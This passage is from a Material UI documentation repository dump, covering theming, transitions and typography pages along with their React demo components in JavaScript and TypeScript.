    "content": "import { createTheme, Theme, ThemeProvider } from '@mui/material/styles';\nimport Checkbox from '@mui/material/Checkbox';\nimport { green, orange } from '@mui/material/colors';\n\nconst outerTheme = createTheme({\n  palette: {\n    secondary: {\n      main: orange[500],\n    },\n  },\n});\n\nexport default function ThemeNestingExtend() {\n  return (\n    <ThemeProvider theme={outerTheme}>\n      <Checkbox defaultChecked color=\"secondary\" />\n      <ThemeProvider\n        theme={(theme: Theme) =>\n          createTheme({\n            ...theme,\n            palette: {\n              ...theme.palette,\n              primary: {\n                main: green[500],\n              },\n            },\n          })\n        }\n      >\n        <Checkbox defaultChecked />\n        <Checkbox defaultChecked color=\"secondary\" />\n      </ThemeProvider>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theming/theming.md",
    "content": "# Theming\n\n<p class=\"description\">Customize Material UI with your theme. You can change the colors, the typography and much more.</p>\n\nThe theme specifies the color of the components, darkness of the surfaces, level of shadow, appropriate opacity of ink elements, etc.\n\nThemes let you apply a consistent tone to your app. It allows you to **customize all design aspects** of your project in order to meet the specific needs of your business or brand.\n\nTo promote greater consistency between apps, light and dark theme types are available to choose from. By default, components use the light theme type.\n\n## Theme provider\n\nMaterial UI components adhere to the library's default theme out of the box.\nUse `ThemeProvider` to inject a custom theme into your application.\n\n`ThemeProvider` relies on the [context feature of React](https://react.dev/learn/passing-data-deeply-with-context) to pass the theme down to the components, so you need to make sure that `ThemeProvider` is a parent of the components you are trying to customize.\nYou can learn more about this in [the API section](#themeprovider).\n\n## Theme configuration variables\n\nChanging the theme configuration variables is the most effective way to match Material UI to your needs.\nThe following sections cover the most important theme variables:\n\n- [`.palette`](/material-ui/customization/palette/)\n- [`.typography`](/material-ui/customization/typography/)\n- [`.spacing`](/material-ui/customization/spacing/)\n- [`.breakpoints`](/material-ui/customization/breakpoints/)\n- [`.zIndex`](/material-ui/customization/z-index/)\n- [`.transitions`](/material-ui/customization/transitions/)\n- [`.components`](/material-ui/customization/theme-components/)\n\nYou can check out the [default theme section](/material-ui/customization/default-theme/) to view the default theme in full.\n\n### Custom variables\n\nWhen using Material UI's theme with [MUI System](/system/getting-started/) or [any other styling solution](/material-ui/integrations/interoperability/), it can be convenient to add additional variables to the theme so you can use them everywhere.\nFor instance:\n\n```jsx\nconst theme = createTheme({\n  status: {\n    danger: orange[500],\n  },\n});\n```\n\n:::warning\n`vars` is an autogenerated field for [CSS theme variables](/material-ui/customization/css-theme-variables/overview/).\nIt will throw an error if you try to pass a value to it:\n\n```jsx\ncreateTheme({\n  vars: { ... }, // ❌ error\n})\n```\n\n:::\n\n### TypeScript\n\nYou have to use [module augmentation](https://www.typescriptlang.org/docs/handbook/declaration-merging.html#module-augmentation) to add new variables to the `Theme` and `ThemeOptions`.\n\n```tsx\ndeclare module '@mui/material/styles' {\n  interface Theme {\n    status: {\n      danger: string;\n    };\n  }\n  // allow configuration using `createTheme()`\n  interface ThemeOptions {\n    status?: {\n      danger?: string;\n    };\n  }\n}\n```\n\n{{\"demo\": \"CustomStyles.js\"}}\n\nTo add extra variables to the `theme.palette`, see [palette customization](/material-ui/customization/palette/).\n\n## Theme builder\n\n<video style=\"width: 320px;\" autoplay muted loop playsinline width=\"640\" height=\"360\">\n  <source src=\"/static/material-ui/studies.mp4\" type=\"video/mp4\" >\n</video>\n\nThe community has built great tools to build a theme:\n\n- [mui-theme-creator](https://zenoo.github.io/mui-theme-creator/): A tool to help design and customize themes for the Material UI component library. Includes basic site templates to show various components and how they are affected by the theme\n- [MUI Theme Builder](https://petertyliu.github.io/mui-theme-builder/): A tool to generate, preview, and edit Material UI themes\n- [Material palette generator](https://m2.material.io/inline-tools/color/): The Material palette generator can be used to generate a palette for any color you input.\n\n## Accessing the theme in a component\n\nYou can access the theme variables inside your functional React components using the `useTheme` hook:\n\n```jsx\nimport { useTheme } from '@mui/material/styles';\n\nfunction DeepChild() {\n  const theme = useTheme();\n  return <span>{`spacing ${theme.spacing}`}</span>;\n}\n```\n\n## Nesting the theme\n\n[You can nest](https://v6.mui.com/system/styles/advanced/#theme-nesting) multiple theme providers.\n\n{{\"demo\": \"ThemeNesting.js\"}}\n\nThe inner theme will **override** the outer theme.\nYou can extend the outer theme by providing a function:\n\n{{\"demo\": \"ThemeNestingExtend.js\"}}\n\n## CSS theme variables\n\nTo generate CSS variables from the theme, set `cssVariables` to `true` in the theme configuration and pass it to the `ThemeProvider`:\n\n```jsx\nconst theme = createTheme({\n  cssVariables: true,\n});\n\nfunction App() {\n  return <ThemeProvider theme={theme}>...</ThemeProvider>;\n}\n```\n\nThis generates a global stylesheet with the CSS theme variables:\n\n```css\n:root {\n  --mui-palette-primary-main: #1976d2;\n  /* ...other variables */\n}\n```\n\nAll components under the `ThemeProvider` will use those CSS theme variables instead of raw values.\n\n```diff title=\"Button styles\"\n- color: #1976d2;\n+ color: var(--mui-palette-primary-main);\n```\n\nTo learn more about this feature, see the [CSS theme variables guide](/material-ui/customization/css-theme-variables/overview/).\n\n## API\n\n### `createTheme(options, ...args) => theme`\n\nGenerate a theme base on the options received. Then, pass it as a prop to [`ThemeProvider`](#themeprovider).\n\n#### Arguments\n\n1. `options` (_object_): Takes an incomplete theme object and adds the missing parts.\n2. `...args` (_object[]_): Deep merge the arguments with the about to be returned theme.\n\n:::warning\nOnly the first argument (`options`) is processed by the `createTheme()` function.\nWhile passing multiple arguments currently works for backward compatibility, this behavior may be removed in future versions.\nTo ensure your code remains forward-compatible, you should manually deep merge the theme objects and pass the result as a single object to `createTheme()`.\n:::\n\n```js\nimport { deepmerge } from '@mui/utils';\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme(deepmerge(options1, options2));\n```\n\n#### Returns\n\n`theme` (_object_): A complete, ready-to-use theme object.\n\n#### Examples\n\n```js\nimport { createTheme } from '@mui/material/styles';\nimport { green, purple } from '@mui/material/colors';\n\nconst theme = createTheme({\n  palette: {\n    primary: {\n      main: purple[500],\n    },\n    secondary: {\n      main: green[500],\n    },\n  },\n});\n```\n\n#### Theme composition: using theme options to define other options\n\nWhen the value for a theme option is dependent on another theme option, you should compose the theme in steps.\n\n```js\nimport { createTheme } from '@mui/material/styles';\n\nlet theme = createTheme({\n  palette: {\n    primary: {\n      main: '#0052cc',\n    },\n    secondary: {\n      main: '#edf2ff',\n    },\n  },\n});\n\ntheme = createTheme(theme, {\n  palette: {\n    info: {\n      main: theme.palette.secondary.main,\n    },\n  },\n});\n```\n\nThink of creating a theme as a two-step composition process: first, you define the basic design options; then, you'll use these design options to compose other options.\n\n**WARNING**: `theme.vars` is a private field used for CSS variables support. Please use another name for a custom object.\n\n### Merging className and style props in defaultProps\n\nBy default, when a component has `defaultProps` defined in the theme, props passed to the component override the default props completely.\n\n```jsx\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  components: {\n    MuiButton: {\n      defaultProps: {\n        className: 'default-button-class',\n        style: { marginTop: 8 },\n      },\n    },\n  },\n});\n\n// className will be: \"custom-button-class\" (default ignored)\n// style will be: { color: 'blue' } (default ignored)\n<Button className=\"custom-button-class\" style={{ color: 'blue' }}>\n  Click me\n</Button>;\n```\n\nYou can change this behavior by configuring the theme to merge `className` and `style` props instead of replacing them.\n\nTo do this, set `theme.components.mergeClassNameAndStyle` to `true`:\n\n```jsx\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  components: {\n    mergeClassNameAndStyle: true,\n    MuiButton: {\n      defaultProps: {\n        className: 'default-button-class',\n        style: { marginTop: 8 },\n      },\n    },\n  },\n});\n```\n\nHere's what the example above looks like with this configuration:\n\n```jsx\n// className will be: \"default-button-class custom-button-class\"\n// style will be: { marginTop: 8, color: 'blue' }\n<Button className=\"custom-button-class\" style={{ color: 'blue' }}>\n  Click me\n</Button>\n```\n\n### `responsiveFontSizes(theme, options) => theme`\n\nGenerate responsive typography settings based on the options received.\n\n#### Arguments\n\n1. `theme` (_object_): The theme object to enhance.\n2. `options` (_object_ [optional]):\n\n- `breakpoints` (_array\\<string\\>_ [optional]): Default to `['sm', 'md', 'lg']`. Array of [breakpoints](/material-ui/customization/breakpoints/) (identifiers).\n- `disableAlign` (_bool_ [optional]): Default to `false`. Whether font sizes change slightly so line\n  heights are preserved and align to Material Design's 4px line height grid.\n  This requires a unitless line height in the theme's styles.\n- `factor` (_number_ [optional]): Default to `2`. This value determines the strength of font size resizing. The higher the value, the less difference there is between font sizes on small screens.\n  The lower the value, the bigger font sizes for small screens. The value must be greater than 1.\n- `variants` (_array\\<string\\>_ [optional]): Default to all. The typography variants to handle.\n\n#### Returns\n\n`theme` (_object_): The new theme with a responsive typography.\n\n#### Examples\n\n```js\nimport { createTheme, responsiveFontSizes } from '@mui/material/styles';\n\nlet theme = createTheme();\ntheme = responsiveFontSizes(theme);\n```\n\n### `unstable_createMuiStrictModeTheme(options, ...args) => theme`\n\n**WARNING**: Do not use this method in production.\n\nGenerates a theme that reduces the amount of warnings inside [`React.StrictMode`](https://react.dev/reference/react/StrictMode) like `Warning: findDOMNode is deprecated in StrictMode`.\n\n#### Requirements\n\nCurrently `unstable_createMuiStrictModeTheme` adds no additional requirements.\n\n#### Arguments\n\n1. `options` (_object_): Takes an incomplete theme object and adds the missing parts.\n2. `...args` (_object[]_): Deep merge the arguments with the about to be returned theme.\n\n#### Returns\n\n`theme` (_object_): A complete, ready-to-use theme object.\n\n#### Examples\n\n```js\nimport { unstable_createMuiStrictModeTheme } from '@mui/material/styles';\n\nconst theme = unstable_createMuiStrictModeTheme();\n\nfunction App() {\n  return (\n    <React.StrictMode>\n      <ThemeProvider theme={theme}>\n        <LandingPage />\n      </ThemeProvider>\n    </React.StrictMode>\n  );\n}\n```\n\n### `ThemeProvider`\n\nThis component takes a `theme` prop and applies it to the entire React tree that it is wrapping around.\nIt should preferably be used at **the root of your component tree**.\n\n#### Props\n\n| Name             | Type                                     | Description                                                                                                                                                                                               |\n| :--------------- | :--------------------------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| children&nbsp;\\* | node                                     | Your component tree.                                                                                                                                                                                      |\n| theme&nbsp;\\*    | union:&nbsp;object&nbsp;&#124;&nbsp;func | A theme object, usually the result of [`createTheme()`](#createtheme-options-args-theme). The provided theme will be merged with the default theme. You can provide a function to extend the outer theme. |\n\n#### Examples\n\n```jsx\nimport * as React from 'react';\nimport { red } from '@mui/material/colors';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  palette: {\n    primary: {\n      main: red[500],\n    },\n  },\n});\n\nfunction App() {\n  return <ThemeProvider theme={theme}>...</ThemeProvider>;\n}\n```\n"
  },
  {
    "path": "docs/data/material/customization/transitions/TransitionHover.js",
    "content": "import { styled, createTheme, ThemeProvider } from '@mui/material/styles';\nimport { deepPurple } from '@mui/material/colors';\nimport Avatar from '@mui/material/Avatar';\n\nconst customTheme = createTheme({\n  palette: {\n    primary: {\n      main: deepPurple[500],\n    },\n  },\n});\n\nconst StyledAvatar = styled(Avatar)`\n  ${({ theme }) => `\n  cursor: pointer;\n  background-color: ${theme.palette.primary.main};\n  transition: ${theme.transitions.create(['background-color', 'transform'], {\n    duration: theme.transitions.duration.standard,\n  })};\n  &:hover {\n    background-color: ${theme.palette.secondary.main};\n    transform: scale(1.3);\n  }\n  `}\n`;\n\nexport default function TransitionHover() {\n  return (\n    <ThemeProvider theme={customTheme}>\n      <StyledAvatar>OP</StyledAvatar>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/transitions/TransitionHover.tsx",
    "content": "import { styled, createTheme, ThemeProvider } from '@mui/material/styles';\nimport { deepPurple } from '@mui/material/colors';\nimport Avatar from '@mui/material/Avatar';\n\nconst customTheme = createTheme({\n  palette: {\n    primary: {\n      main: deepPurple[500],\n    },\n  },\n});\n\nconst StyledAvatar = styled(Avatar)`\n  ${({ theme }) => `\n  cursor: pointer;\n  background-color: ${theme.palette.primary.main};\n  transition: ${theme.transitions.create(['background-color', 'transform'], {\n    duration: theme.transitions.duration.standard,\n  })};\n  &:hover {\n    background-color: ${theme.palette.secondary.main};\n    transform: scale(1.3);\n  }\n  `}\n`;\n\nexport default function TransitionHover() {\n  return (\n    <ThemeProvider theme={customTheme}>\n      <StyledAvatar>OP</StyledAvatar>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/transitions/TransitionHover.tsx.preview",
    "content": "<ThemeProvider theme={customTheme}>\n  <StyledAvatar>OP</StyledAvatar>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/transitions/transitions.md",
    "content": "# Transitions\n\n<p class=\"description\">These theme helpers allow you to create custom CSS transitions, you can customize the durations, easings and more.</p>\n\n## API\n\n### `theme.transitions.create(props, options) => transition`\n\n#### Arguments\n\n1. `props` (_string_ | _string[]_): Defaults to `['all']`. Provides a CSS property, or a list of CSS properties that should be transitioned.\n2. `options` (_object_ [optional]):\n\n- `options.duration` (_string_ | _number_ [optional]): Defaults to `theme.transitions.duration.standard`. Provides the duration of the transition.\n- `options.easing` (_string_ [optional]): Defaults to `theme.transitions.easing.easeInOut`. Provides the easing for the transition.\n- `options.delay` (_string_ | _number_ [optional]): Defaults to `0`. Provides the delay for the transition.\n\n#### Returns\n\n`transition`: A CSS transition value, which composes all CSS properties that should be transitioned, together with the defined duration, easing and delay.\n\nUse the <code>theme.transitions.create()</code> helper to create consistent transitions for the elements of your UI.\n\n```js\ntheme.transitions.create(['background-color', 'transform']);\n```\n\n#### Example\n\n{{\"demo\": \"TransitionHover.js\", \"defaultCodeOpen\": false}}\n\n### `theme.transitions.getAutoHeightDuration(height) => duration`\n\n#### Arguments\n\n1. `height` (_number_): The height of the component.\n\n#### Returns\n\n`duration`: The calculated duration based on the height.\n\n## Durations\n\nYou can change some or all of the duration values, or provide your own (for use in the `create()` helper). This example shows all the default values (in milliseconds), but you only need to provide the keys you wish to change or add.\n\n```js\nconst theme = createTheme({\n  transitions: {\n    duration: {\n      shortest: 150,\n      shorter: 200,\n      short: 250,\n      // most basic recommended timing\n      standard: 300,\n      // this is to be used in complex animations\n      complex: 375,\n      // recommended when something is entering screen\n      enteringScreen: 225,\n      // recommended when something is leaving screen\n      leavingScreen: 195,\n    },\n  },\n});\n```\n\n## Easings\n\nYou can change some or all of the easing values, or provide your own, by providing a custom CSS <code>transition-timing-function</code> value.\n\n```js\nconst theme = createTheme({\n  transitions: {\n    easing: {\n      // This is the most common easing curve.\n      easeInOut: 'cubic-bezier(0.4, 0, 0.2, 1)',\n      // Objects enter the screen at full velocity from off-screen and\n      // slowly decelerate to a resting point.\n      easeOut: 'cubic-bezier(0.0, 0, 0.2, 1)',\n      // Objects leave the screen at full velocity. They do not decelerate when off-screen.\n      easeIn: 'cubic-bezier(0.4, 0, 1, 1)',\n      // The sharp curve is used by objects that may return to the screen at any time.\n      sharp: 'cubic-bezier(0.4, 0, 0.6, 1)',\n    },\n  },\n});\n```\n\n## References\n\nCheck out the [Transitions](/material-ui/transitions/) page to explore the transition components that are included with Material UI.\n"
  },
  {
    "path": "docs/data/material/customization/typography/CustomResponsiveFontSizes.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\n\nconst theme = createTheme();\n\ntheme.typography.h3 = {\n  fontSize: '1.2rem',\n  '@media (min-width:600px)': {\n    fontSize: '1.5rem',\n  },\n  [theme.breakpoints.up('md')]: {\n    fontSize: '2rem',\n  },\n};\n\nexport default function CustomResponsiveFontSizes() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Typography variant=\"h3\">Responsive h3</Typography>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/typography/CustomResponsiveFontSizes.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\n\nconst theme = createTheme();\n\ntheme.typography.h3 = {\n  fontSize: '1.2rem',\n  '@media (min-width:600px)': {\n    fontSize: '1.5rem',\n  },\n  [theme.breakpoints.up('md')]: {\n    fontSize: '2rem',\n  },\n};\n\nexport default function CustomResponsiveFontSizes() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Typography variant=\"h3\">Responsive h3</Typography>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/typography/CustomResponsiveFontSizes.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Typography variant=\"h3\">Responsive h3</Typography>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/typography/FontSizeTheme.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\n\nconst theme = createTheme({\n  typography: {\n    // Tell MUI what the font-size on the html element is.\n    htmlFontSize: 10,\n  },\n});\n\nexport default function FontSizeTheme() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Typography>body1</Typography>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/typography/FontSizeTheme.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\n\nconst theme = createTheme({\n  typography: {\n    // Tell MUI what the font-size on the html element is.\n    htmlFontSize: 10,\n  },\n});\n\nexport default function FontSizeTheme() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Typography>body1</Typography>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/typography/FontSizeTheme.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Typography>body1</Typography>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/typography/ResponsiveFontSizes.js",
    "content": "import {\n  createTheme,\n  responsiveFontSizes,\n  ThemeProvider,\n} from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\n\nlet theme = createTheme();\ntheme = responsiveFontSizes(theme);\n\nexport default function ResponsiveFontSizes() {\n  return (\n    <div>\n      <ThemeProvider theme={theme}>\n        <Typography variant=\"h3\">Responsive h3</Typography>\n        <Typography variant=\"h4\">Responsive h4</Typography>\n        <Typography variant=\"h5\">Responsive h5</Typography>\n      </ThemeProvider>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/typography/ResponsiveFontSizes.tsx",
    "content": "import {\n  createTheme,\n  responsiveFontSizes,\n  ThemeProvider,\n} from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\n\nlet theme = createTheme();\ntheme = responsiveFontSizes(theme);\n\nexport default function ResponsiveFontSizes() {\n  return (\n    <div>\n      <ThemeProvider theme={theme}>\n        <Typography variant=\"h3\">Responsive h3</Typography>\n        <Typography variant=\"h4\">Responsive h4</Typography>\n        <Typography variant=\"h5\">Responsive h5</Typography>\n      </ThemeProvider>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/typography/ResponsiveFontSizes.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Typography variant=\"h3\">Responsive h3</Typography>\n  <Typography variant=\"h4\">Responsive h4</Typography>\n  <Typography variant=\"h5\">Responsive h5</Typography>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/typography/ResponsiveFontSizesChart.js",
    "content": "// import of a small, pure module in a private demo\n// bundle size and module duplication is negligible\n\n// eslint-disable-next-line no-restricted-imports\nimport { convertLength } from '@mui/material/styles/cssUtils';\nimport { createTheme, responsiveFontSizes } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport { LineChart } from '@mui/x-charts';\n\nlet theme = createTheme();\ntheme = responsiveFontSizes(theme);\n\nconst colors = [\n  '#443dc2',\n  '#2060df',\n  '#277e91',\n  '#378153',\n  '#4d811d',\n  '#63780d',\n  '#996600',\n];\nconst variants = ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'subtitle1'];\n\nexport default function ResponsiveFontSizesChart() {\n  const convert = convertLength(theme.typography.htmlFontSize);\n  const toPx = (rem) => parseFloat(convert(rem, 'px'));\n\n  let dataset = theme.breakpoints.keys.map((key) => {\n    const viewport = theme.breakpoints.values[key];\n    const value = theme.breakpoints.up(key);\n\n    const rep = { viewport };\n    variants.forEach((variantName) => {\n      const variant = theme.typography[variantName];\n      if (variant[value]) {\n        const fontSize = toPx(variant[value].fontSize);\n        rep[variantName] = fontSize;\n      } else if (viewport === 0) {\n        const fontSize = toPx(variant.fontSize);\n        rep[variantName] = fontSize;\n      }\n    });\n    return rep;\n  });\n\n  dataset = [\n    ...dataset.slice(0, dataset.length - 1),\n    {\n      ...dataset[dataset.length - 2],\n      viewport: dataset[dataset.length - 1].viewport,\n\n      subtitle1: dataset[0].subtitle1,\n    },\n  ];\n\n  return (\n    <Box sx={{ height: 380, width: '100%', color: 'black' }}>\n      <LineChart\n        dataset={dataset}\n        series={variants.map((variantName) => ({\n          curve: 'stepAfter',\n          dataKey: variantName,\n          label: variantName,\n          connectNulls: true,\n        }))}\n        xAxis={[\n          {\n            scaleType: 'linear',\n            dataKey: 'viewport',\n            valueFormatter: (value) => value.toString(),\n            tickNumber: 10,\n            max: 1600,\n            tickLabelStyle: { fontSize: 15 },\n            label: 'viewport (px)',\n          },\n        ]}\n        yAxis={[\n          {\n            valueFormatter: (value) => value.toString(),\n            tickNumber: 5,\n            min: 0,\n            max: 100,\n            tickLabelStyle: { fontSize: 15 },\n            labelStyle: {\n              fontSize: 15,\n            },\n            label: 'font-size (px)',\n          },\n        ]}\n        colors={colors}\n        margin={{ left: 70 }}\n        sx={{\n          [`.MuiChartsAxis-left .MuiChartsAxis-label`]: {\n            transform: 'translateX(-5px)',\n          },\n          [`.MuiChartsAxis-bottom .MuiChartsAxis-label`]: {\n            transform: 'translateY(5px)',\n          },\n          [`.MuiChartsAxis-root text`]: {\n            fill: '#808080',\n          },\n          [`.MuiChartsAxis-root line`]: {\n            stroke: '#808080',\n          },\n        }}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/typography/TypographyCustomVariant.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\n\nconst theme = createTheme({\n  typography: {\n    poster: {\n      fontSize: '4rem',\n      color: 'indianred',\n    },\n    // Disable v3 variant\n    h3: undefined,\n  },\n  components: {\n    MuiTypography: {\n      defaultProps: {\n        variantMapping: {\n          poster: 'h1', // map our new variant to render an <h1> by default\n        },\n      },\n    },\n  },\n});\n\nexport default function TypographyCustomVariant() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Box sx={{ '& > *': { display: 'block' } }}>\n        {/* @ts-ignore */}\n        <Typography variant=\"poster\">poster</Typography>\n        <Typography variant=\"h3\">h3</Typography>\n      </Box>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/typography/TypographyCustomVariant.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\n\nconst theme = createTheme({\n  typography: {\n    // @ts-ignore\n    poster: {\n      fontSize: '4rem',\n      color: 'indianred',\n    },\n    // Disable v3 variant\n    h3: undefined,\n  },\n  components: {\n    MuiTypography: {\n      defaultProps: {\n        variantMapping: {\n          // @ts-ignore\n          poster: 'h1', // map our new variant to render an <h1> by default\n        },\n      },\n    },\n  },\n});\n\nexport default function TypographyCustomVariant() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Box sx={{ '& > *': { display: 'block' } }}>\n        {/* @ts-ignore */}\n        <Typography variant=\"poster\">poster</Typography>\n        <Typography variant=\"h3\">h3</Typography>\n      </Box>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/typography/TypographyCustomVariant.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Box sx={{ '& > *': { display: 'block' } }}>\n    {/* @ts-ignore */}\n    <Typography variant=\"poster\">poster</Typography>\n    <Typography variant=\"h3\">h3</Typography>\n  </Box>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/typography/TypographyVariants.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  typography: {\n    subtitle1: {\n      fontSize: 12,\n    },\n    body1: {\n      fontWeight: 500,\n    },\n    button: {\n      fontStyle: 'italic',\n    },\n  },\n});\n\nexport default function TypographyVariants() {\n  return (\n    <div>\n      <ThemeProvider theme={theme}>\n        <Typography variant=\"subtitle1\">subtitle</Typography>\n        <Typography>body1</Typography>\n        <Button>Button</Button>\n      </ThemeProvider>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/typography/TypographyVariants.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  typography: {\n    subtitle1: {\n      fontSize: 12,\n    },\n    body1: {\n      fontWeight: 500,\n    },\n    button: {\n      fontStyle: 'italic',\n    },\n  },\n});\n\nexport default function TypographyVariants() {\n  return (\n    <div>\n      <ThemeProvider theme={theme}>\n        <Typography variant=\"subtitle1\">subtitle</Typography>\n        <Typography>body1</Typography>\n        <Button>Button</Button>\n      </ThemeProvider>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/typography/TypographyVariants.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Typography variant=\"subtitle1\">subtitle</Typography>\n  <Typography>body1</Typography>\n  <Button>Button</Button>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/typography/typography.md",
    "content": "# Typography\n\n<p class=\"description\">The theme provides a set of type sizes that work well together, and also with the layout grid.</p>\n\n## Font family\n\nYou can change the font family with the `theme.typography.fontFamily` property.\n\nFor instance, this example uses the system font instead of the default Roboto font:\n\n```js\nconst theme = createTheme({\n  typography: {\n    fontFamily: [\n      '-apple-system',\n      'BlinkMacSystemFont',\n      '\"Segoe UI\"',\n      'Roboto',\n      '\"Helvetica Neue\"',\n      'Arial',\n      'sans-serif',\n      '\"Apple Color Emoji\"',\n      '\"Segoe UI Emoji\"',\n      '\"Segoe UI Symbol\"',\n    ].join(','),\n  },\n});\n```\n\n### Self-hosted fonts\n\nTo self-host fonts, download the font files in `ttf`, `woff`, and/or `woff2` formats and import them into your code.\n\n:::warning\nThis requires that you have a plugin or loader in your build process that can handle loading `ttf`, `woff`, and\n`woff2` files. Fonts will _not_ be embedded within your bundle. They will be loaded from your webserver instead of a CDN.\n:::\n\n```js\nimport RalewayWoff2 from './fonts/Raleway-Regular.woff2';\n```\n\nNext, you need to change the theme to use this new font.\nIn order to globally define Raleway as a font face, the [`CssBaseline`](/material-ui/react-css-baseline/) component can be used (or any other CSS solution of your choice).\n\n```jsx\nimport RalewayWoff2 from './fonts/Raleway-Regular.woff2';\n\nconst theme = createTheme({\n  typography: {\n    fontFamily: 'Raleway, Arial',\n  },\n  components: {\n    MuiCssBaseline: {\n      styleOverrides: `\n        @font-face {\n          font-family: 'Raleway';\n          font-style: normal;\n          font-display: swap;\n          font-weight: 400;\n          src: local('Raleway'), local('Raleway-Regular'), url(${RalewayWoff2}) format('woff2');\n          unicodeRange: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF;\n        }\n      `,\n    },\n  },\n});\n\n// ...\nreturn (\n  <ThemeProvider theme={theme}>\n    <CssBaseline />\n    <Box sx={{ fontFamily: 'Raleway' }}>Raleway</Box>\n  </ThemeProvider>\n);\n```\n\nNote that if you want to add additional `@font-face` declarations, you need to use the string CSS template syntax for adding style overrides, so that the previously defined `@font-face` declarations won't be replaced.\n\n## Font size\n\nMaterial UI uses `rem` units for the font size.\nThe browser `<html>` element default font size is `16px`, but browsers have an option to change this value,\nso `rem` units allow us to accommodate the user's settings, resulting in a better accessibility support.\nUsers change font size settings for all kinds of reasons, from poor eyesight to choosing optimum settings\nfor devices that can be vastly different in size and viewing distance.\n\nTo change the font-size of Material UI you can provide a `fontSize` property.\nThe default value is `14px`.\n\n```js\nconst theme = createTheme({\n  typography: {\n    // In Chinese and Japanese the characters are usually larger,\n    // so a smaller fontsize may be appropriate.\n    fontSize: 12,\n  },\n});\n```\n\nThe computed font size by the browser follows this mathematical equation:\n\n<div class=\"only-light-mode\">\n  <img alt=\"font size calculation\" style=\"width: 550px; display: block;\" src=\"/static/images/font-size.svg\" width=\"436\" height=\"48\" />\n</div>\n<div class=\"only-dark-mode\">\n  <img alt=\"font size calculation\" style=\"width: 550px; display: block;\" src=\"/static/images/font-size-dark.svg\" width=\"436\" height=\"48\" />\n</div>\n\n<!-- https://latex.codecogs.com/svg.latex?\\dpi{200}&space;\\text{computed}&space;=&space;\\text{specification}\\cdot\\frac{\\text{typography.fontSize}}{14}\\cdot\\frac{\\text{html&space;fontsize}}{\\text{typography.htmlFontSize}} -->\n\n### Responsive font sizes\n\nThe `theme.typography.*` [variant](#variants) properties map directly to the generated CSS.\nYou can use [media queries](/material-ui/customization/breakpoints/#api) inside them:\n\n```js\nconst baseTheme = createTheme();\n\nconst theme = createTheme({\n  typography: {\n    h3: {\n      fontSize: '1.2rem',\n      '@media (min-width:600px)': {\n        fontSize: '1.5rem',\n      },\n      [baseTheme.breakpoints.up('md')]: {\n        fontSize: '2.4rem',\n      },\n    },\n  },\n});\n```\n\n{{\"demo\": \"CustomResponsiveFontSizes.js\"}}\n\nTo automate this setup, you can use the [`responsiveFontSizes()`](/material-ui/customization/theming/#responsivefontsizes-theme-options-theme) helper to make Typography font sizes in the theme 